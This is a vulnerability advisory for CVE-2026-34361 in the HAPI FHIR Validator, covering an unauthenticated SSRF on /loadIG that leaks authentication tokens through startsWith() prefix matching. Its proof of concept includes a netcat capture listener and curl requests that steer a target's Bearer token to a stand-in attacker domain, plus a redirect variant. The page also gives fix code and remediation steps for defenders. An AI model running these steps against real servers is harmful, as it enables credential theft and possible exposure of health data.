CVE-2026-34361: HAPI FHIR: Unauthenticated SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft
Summary
The FHIR Validator HTTP service exposes an unauthenticated /loadIG endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL.
Details
Step 1 — SSRF Entry Point (LoadIGHTTPHandler.java:35-43):
The /loadIG endpoint accepts unauthenticated POST requests with a JSON body containing an ig field. The value is passed directly to IgLoader.loadIg() with no URL validation or allowlisting. When the value is an HTTP(S) URL, IgLoader.fetchFromUrlSpecific() makes an outbound GET request via ManagedWebAccess.get():
java // LoadIGHTTPHandler.java:43 engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true);
// IgLoader.java:437 (fetchFromUrlSpecific) HTTPResult res = ManagedWebAccess.get(Arrays.asList("web"), source + "?nocache=" + System.currentTimeMillis());
Step 2 — Credential Leak via Prefix Matching (ManagedWebAccessUtils.java:14):
When ManagedWebAccess creates a SimpleHTTPClient, it attaches an authProvider that uses startsWith() to determine whether credentials should be sent:
java // ManagedWebAccessUtils.java:14 if (url.startsWith(serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) { return serverDetails; }
If the server has https://packages.fhir.org configured with a Bearer token, a request to https://packages.fhir.org.attacker.com/... matches the prefix, and the token is attached to the request to the attacker's domain.
Step 3 — Redirect Amplification (SimpleHTTPClient.java:84-99,111-118):
SimpleHTTPClient manually follows redirects with setInstanceFollowRedirects(false). On each redirect hop, getHttpGetConnection() calls setHeaders() which re-evaluates authProvider.canProvideHeaders(url) against the new URL. This means even an indirect redirect path can trigger credential leakage.
PoC
Prerequisites: A FHIR Validator HTTP server running with fhir-settings.json containing: json { "servers": [{ "url": "https://packages.fhir.org", "authenticationType": "token", "token": "ghpSecretTokenForFHIRRegistry123" }] }
Step 1: Set up attacker credential capture server: bash On attacker machine, listen for incoming requests nc -lp 80 > /tmp/capturedrequest.txt & Register DNS: packages.fhir.org.attacker.com -> attacker IP
Step 2: Trigger the SSRF with prefix-matching URL: bash curl -X POST http://target-validator:8080/loadIG \ -H "Content-Type: application/json" \ -d '{"ig": "https://packages.fhir.org.attacker.com/malicious-ig"}'
Step 3: Verify credential capture: bash cat /tmp/capturedrequest.txt Expected output includes: GET /malicious-ig?nocache=... HTTP/1.1 Authorization: Bearer ghpSecretTokenForFHIRRegistry123 Host: packages.fhir.org.attacker.com
Redirect variant (if direct prefix match isn't possible): bash Attacker server returns: HTTP/1.1 302 Location: https://packages.fhir.org.attacker.com/steal curl -X POST http://target-validator:8080/loadIG \ -H "Content-Type: application/json" \ -d '{"ig": "https://attacker.com/redirect"}'
Impact
- Credential theft: Attacker steals Bearer tokens, Basic auth credentials, or API keys for any configured FHIR server - Supply chain attack: Stolen package registry credentials could be used to publish malicious FHIR packages affecting downstream consumers - Data breach: If credentials grant access to protected FHIR endpoints (e.g., clinical data repositories), patient health records could be exposed - Scope change (S:C): The vulnerability in the validator compromises the security of external systems (FHIR registries, package servers) whose credentials are leaked
Recommended Fix
Fix 1 — Proper URL origin comparison in ManagedWebAccessUtils (ManagedWebAccessUtils.java): java public static ServerDetailsPOJO getServer(Iterable<String> serverTypes, String url, Iterable<ServerDetailsPOJO> serverAuthDetails) { if (serverAuthDetails != null) { for (ServerDetailsPOJO serverDetails : serverAuthDetails) { for (String serverType : serverTypes) { if (urlMatchesOrigin(url, serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) { return serverDetails; } } } } return null; }
private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) { try { URL req = new URL(requestUrl); URL srv = new URL(serverUrl); return req.getProtocol().equals(srv.getProtocol()) && req.getHost().equals(srv.getHost()) && req.getPort() == srv.getPort() && req.getPath().startsWith(srv.getPath()); } catch (MalformedURLException e) { return false; } }
Fix 2 — URL allowlisting in LoadIGHTTPHandler (LoadIGHTTPHandler.java): java // Add allowlist validation before loading private static final Set<String> ALLOWEDHOSTS = Set.of( "packages.fhir.org", "packages2.fhir.org", "build.fhir.org" );
private boolean isAllowedSource(String ig) { try { URL url = new URL(ig); return ALLOWEDHOSTS.contains(url.getHost()); } catch (MalformedURLException e) { return false; // Not a URL, could be a package reference } }
Other sources
HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the FHIR Validator HTTP service exposes an unauthenticated "/loadIG" endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a startsWith() URL prefix matching flaw in the credential provider (ManagedWebAccessUtils.getServer()), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL. This issue has been patched in version 6.9.4.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
maven/ca.uhn.hapi.fhir:org.hl7.fhir.validationto a version that resolves this vulnerability.Fixed in 6.9.4 - Upgrade
Upgrade
HAPI FHIR (FHIR Validator HTTP service)to a version that resolves this vulnerability.Fixed in 6.9.4 - Configuration
Update ManagedWebAccessUtils to use proper URL origin comparison (as per urlMatchesOrigin logic) instead of startsWith() when determining whether auth credentials may be attached for a given server URL.
ManagedWebAccessUtils.java URL allowlist / origin comparison for credential provider (replace prefix matching startsWith()) = Use urlMatchesOrigin() / proper URL origin comparison (protocol, host, path-prefix within origin; not startsWith()) - Configuration
In LoadIGHTTPHandler, add URL allowlisting/validation before passing the provided ig field to IgLoader.loadIg().
LoadIGHTTPHandler.java IG URL validation / allowlisting before loading = Allowlist validation (reject attacker-controlled URLs that are not in the allowed list)
Event History
Frequently Asked Questions
What is the severity of CVE-2026-34361?
CVE-2026-34361 is classified as a high-severity vulnerability due to its potential for unauthorized access and data theft.
How do I fix CVE-2026-34361?
To fix CVE-2026-34361, upgrade to version 6.9.4 or later of the affected package, ca.uhn.hapi.fhir:org.hl7.fhir.validation.
What is the impact of CVE-2026-34361?
The impact of CVE-2026-34361 includes the risk of attackers making unauthorized outbound HTTP requests, potentially leading to data exposure.
Which software is affected by CVE-2026-34361?
CVE-2026-34361 affects versions of the ca.uhn.hapi.fhir:org.hl7.fhir.validation package prior to version 6.9.4.
Is authentication required for the vulnerable endpoint in CVE-2026-34361?
No, the affected /loadIG endpoint in CVE-2026-34361 is unauthenticated, allowing any user to exploit the vulnerability.